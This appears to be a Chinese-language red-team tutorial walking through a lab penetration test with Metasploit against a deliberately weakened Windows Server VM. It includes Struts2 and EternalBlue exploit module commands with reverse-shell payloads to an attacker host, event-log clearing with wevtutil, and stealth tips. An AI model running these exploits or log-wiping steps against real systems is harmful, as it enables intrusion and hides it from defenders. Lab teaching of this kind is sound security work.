一、从日志中看攻击者的影子

黑客示意图

每当防守方分析日志时,总能从蛛丝马迹中感知攻击者的行动痕迹:网络流量中的异常连接、服务器上的可疑进程、或是文件系统中被篡改的脚本。这些痕迹往往揭示了攻击者的策略。从攻击者的角度来说,我们的目标是隐藏自己的真实意图,将攻击链伪装得如同正常操作。

在这篇文章中,我将以红队视角带你深入了解如何使用 Metasploit 框架执行一次完整的渗透测试,展示如何绕过防御机制,并从目标中提取敏感数据。我们会从攻击链的每个环节出发,分析背后的技术原理,并结合实战代码和技巧帮助你理解如何一步步控制目标。

> 声明:本文内容仅用于合法授权的安全测试,请勿用于非法用途,违者后果自负。

---

二、武器库准备:搭建你的攻击环境

在攻击开始之前,我们需要一个可靠的测试环境。我们将使用以下工具和环境:

  • 攻击机:Kali Linux(搭载 Metasploit Framework)
  • 靶机:Windows Server 2019(带有易受攻击服务)
  • 网络拓扑:虚拟机 NAT 网络模式

1. 环境搭建清单

攻击机和靶机需要通过 NAT 网络互通,同时确保靶机的防火墙允许接收攻击机发起的流量。

Kali Linux 设置

确保你的 Kali Linux 已安装最新版 Metasploit: <pre><code class="language-bash"># 更新系统和 Metasploit sudo apt update &amp;&amp; sudo apt upgrade -y sudo apt install metasploit-framework</code></pre>

启动 Metasploit: <pre><code class="language-bash">msfconsole</code></pre>

靶机配置

在 Windows Server 2019 上,安装以下易受攻击的服务:

  • Apache Struts2(CVE-2017-5638 漏洞)
  • Windows SMBv1(CVE-2017-0144,永恒之蓝漏洞)

确保这些服务正常运行,并且关闭 Windows Defender 和防火墙以模拟薄弱防御环境。

---

三、0x01 从信息收集到入口发现

攻击的第一步,永远是信息收集。你需要尽可能多地了解目标的细节,包括开放端口、操作系统版本、运行服务等。

1. 主动探测:Nmap 扫描

使用 Nmap 探测靶机的开放端口和服务: <pre><code class="language-bash">nmap -sC -sV -Pn -p- 192.168.1.105</code></pre>

结果解读 假如结果显示以下开放端口:

  • 80/tcp: Apache Struts2
  • 445/tcp: Microsoft-DS(SMB)

这里的 80 端口和 445 端口都可能成为潜在的攻击入口。

黑客示意图

---

四、利用模块化攻击:打破第一道防线

在确认了靶机的服务和漏洞后,我们会利用 Metasploit 的模块化功能,快速开发针对性的攻击手段。

1. Apache Struts2 RCE 利用

Apache Struts2 的 CVE-2017-5638 是一个经典的远程代码执行漏洞,攻击者可以通过构造恶意的 Content-Type 头直接执行命令。

加载漏洞模块

在 Metasploit 中加载对应模块: <pre><code class="language-bash">use exploit/multi/http/struts2_content_type_ognl set RHOSTS 192.168.1.105 set RPORT 80 set TARGETURI /example/struts2-showcase set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit</code></pre>

黑客示意图

结果 如果攻击成功,你将在 Metasploit 中获得一个 Meterpreter 会话。

---

五、权限提升与横向移动

获得初始访问后,下一步是提升权限并横向移动到更多系统。

1. 本地权限提升

在 Windows 上,可以利用已知的漏洞提权。以下是利用 永恒之蓝 提权的步骤。

加载模块

<pre><code class="language-bash">use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.105 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit</code></pre>

---

六、隐蔽与痕迹清除:消失于无形

攻击完成后,清楚痕迹以避免被发现是最后一步。以下是一些清理操作的建议:

1. 删除日志

在 Windows 上清除事件日志: <pre><code class="language-powershell">wevtutil cl System wevtutil cl Security wevtutil cl Application</code></pre>

2. 删除上传的恶意文件

确保移除所有上传到目标主机的文件和工具: <pre><code class="language-bash">rm -rf /path/to/malicious/file</code></pre>

---

黑客示意图

七、个人经验:如何避免被反制

从多年的红队经验来看,以下几点是新手常犯的错误:

  1. 过于依赖工具:不要依赖 Metasploit 的自动化模块,理解漏洞原理才能灵活应对。
  2. 忽略隐匿性:一旦攻击行为被发现,目标很可能会启动隔离和反制机制。
  3. 忽视攻击链完整性:不要只关注单点突破,完整的攻击链更能体现你的能力。

希望这篇文章能给你带来启发,用攻击者的思维去设计防御,也用防守者的视角去优化攻击。